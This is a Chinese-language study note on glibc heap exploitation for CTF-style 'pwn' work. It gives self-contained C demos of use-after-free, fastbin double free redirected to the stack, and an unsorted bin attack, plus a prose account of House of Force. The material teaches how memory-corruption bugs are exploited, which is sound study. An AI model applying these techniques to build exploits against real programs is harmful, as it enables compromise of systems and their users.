PWN-堆溢出
堆漏洞
pwndbg使用方法
b *$rebase([偏移地址])
use after free
一个警察丢掉了不需要的搜查令,但被心怀不轨的人发现了,并利用被丢掉的搜查令去冒充警察做违法的事情
也就是说,权限很低的指针反而可以操纵一块很重要的数据
已经释放的内存重利用
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");
fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;
fprintf(stderr, "1st malloc(0x512): %p\n", a);
fprintf(stderr, "2nd malloc(0x256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);
fprintf(stderr, "So, let's allocate 0x500 bytes\n");
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}
此时a和c指向同一块chunk。我们本来打算的是a、b、c各指向各自的chunk。
double free
双飞漏洞。把飞掉的部分再飞一次,导致bin中存在两个相同的chunk。从而导致后续两次分配却指向同一个chunk,最后可以造成任意地址读写
fastbin_dup_into_stack
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
fprintf(stderr,"Fill up tcache first.\n");
void *ptrs[7];
for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
unsigned long long stack_var;
fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
//Calling free(a) twice renders the program vulnerable to Double Free
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
/*VULNERABILITY*/
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
/*VULNERABILITY*/
fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
void *p = calloc(1,8);
fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert(p == 8+(char *)&stack_var);
// assert((long)__builtin_return_address(0) == *(long *)p);
}
首先malloc了三个小chunk,每个只有八字节
然后小chunk上方就是topchunk
free a后发生如下
free b后。b和a大小相同,所以再同一个fast bin中
但是即使chunk被free掉了,但是指针依然存在。所以我们再free一次a
所以fast bin列表中有两个a,导致待会儿malloc(至少三次)的时候,会有两个指针都指向a这片区域
但为什么中间必须有个b,连续free两次a可以吗?
#include<stdio.h>
#include<stdlib.h>
int main(){
void* ptr = malloc(0x10);
free(ptr);
free(ptr);
return 0;
}
执行这段程序后会报错:double free detected in tcache 2
doblefree:禁止连续free两个相同的chunk
所以只需要在a中间插入一个其他的指针b即可(这是fastbin的doublefree绕过方式)
然后接下来malloc了一个d
由于fastbin的结构是栈,所以将栈顶的a弹出,将这块chunk分配给d。所以d指向的实际是a的这块chunk
如果我们现在通过指针d,篡改a中的fd指针为栈上的某个地址,这样fastbin就会多出一个chunk出来,并且这个chunk的地址是在栈上的
进而我们可以依靠这个指针去修改栈上的一些数据
但注意有个细节。fd指针指向的不是数据域而是chunk的开头。所以如果我们要让链表下一位是某个数据,fd指针需要在该地址向下移动(减)两个字长。
注意栈是自上而下增长,堆是自下而上增长
unsortedbin_attack
可以向任意地址写入一个很大的数字。前提是我们可以控制bk的值
往往我们用此来修改限制fastbin大小的值,使free掉的chunk进入fastbin中,从而进行fastbin_attack。如上种
回忆一下unsortedbin
- FIFO,队列
如果我们从unsortedbin中拿走一个freechunk,此时unsortedbin的fd指向第二个freechunk,第二个chunk的bk指针指向unsortedbin
unsortedbin通过chunk1的fd知道下一个chunk2的地址,chunk2通过chunk1的bk知道unsortedbin的地址。
chunk2.bk = chunk1.bk
unsorted_bin.fd = chunk1.fd
漏洞原理代码
#include <stdio.h>
#include <stdlib.h>
int main() {
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
"unsigned long value into stack\n");
fprintf(
stderr,
"In practice, unsorted bin attack is generally prepared for further "
"attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long target_var = 0;
fprintf(stderr,
"Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);
unsigned long *p = malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",
p);
fprintf(stderr, "And allocate another normal chunk in order to avoid "
"consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);
free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the "
"unsorted bin with its bk pointer "
"point to %p\n",
(void *)p[1]);
/*------------VULNERABILITY-----------*/
p[1] = (unsigned long)(&target_var - 2);
//注意这里减去的是两个unsighed long的长度
fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
"victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
"machine, it should be target address-8):%p\n\n",
(void *)p[1]);
//------------------------------------
malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
"this time, target should has already been "
"rewrite:\n");
fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}
➜ unsorted_bin_attack git:(master) ✗ gcc unsorted_bin_attack.c -o unsorted_bin_attack
➜ unsorted_bin_attack git:(master) ✗ ./unsorted_bin_attack
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the target we want to rewrite on stack:
0x7ffe0d232518: 0
Now, we allocate first normal chunk on the heap at: 0x1fce010
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()
We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe0d232508
Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:
0x7ffe0d232518: 0x7f1c705ffb78

House of
house of force
针对top chunk进行攻击
运用到了一个整数(堆)溢出漏洞
像栈溢出一样,这里也可以向上溢出覆盖掉top chunk的控制结构
此时我们要修改top chunk的size为一个超大的值,目的是欺骗堆管理器,继续使用brk为我们分配空间而非使用mmap,以使后续操作都在topchunk中。并且我们可以通过此使得topchunk覆盖整个进程空间,malloc到任意想要的地址。
比如我们可以通过malloc一个超大的空间使其topchunk起始地址抬到栈中,然后再据此修改返回地址等关键值
如果要修改data段的值,可以malloc一个负数,此时topchunk就会向下增长。因为malloc的参数是无符号类型,传入负数相当于一个超大的整数,与topchunk起始地址相加会导致整数溢出。所以最后计算得到的值会变小。

浙公网安备 33010602011771号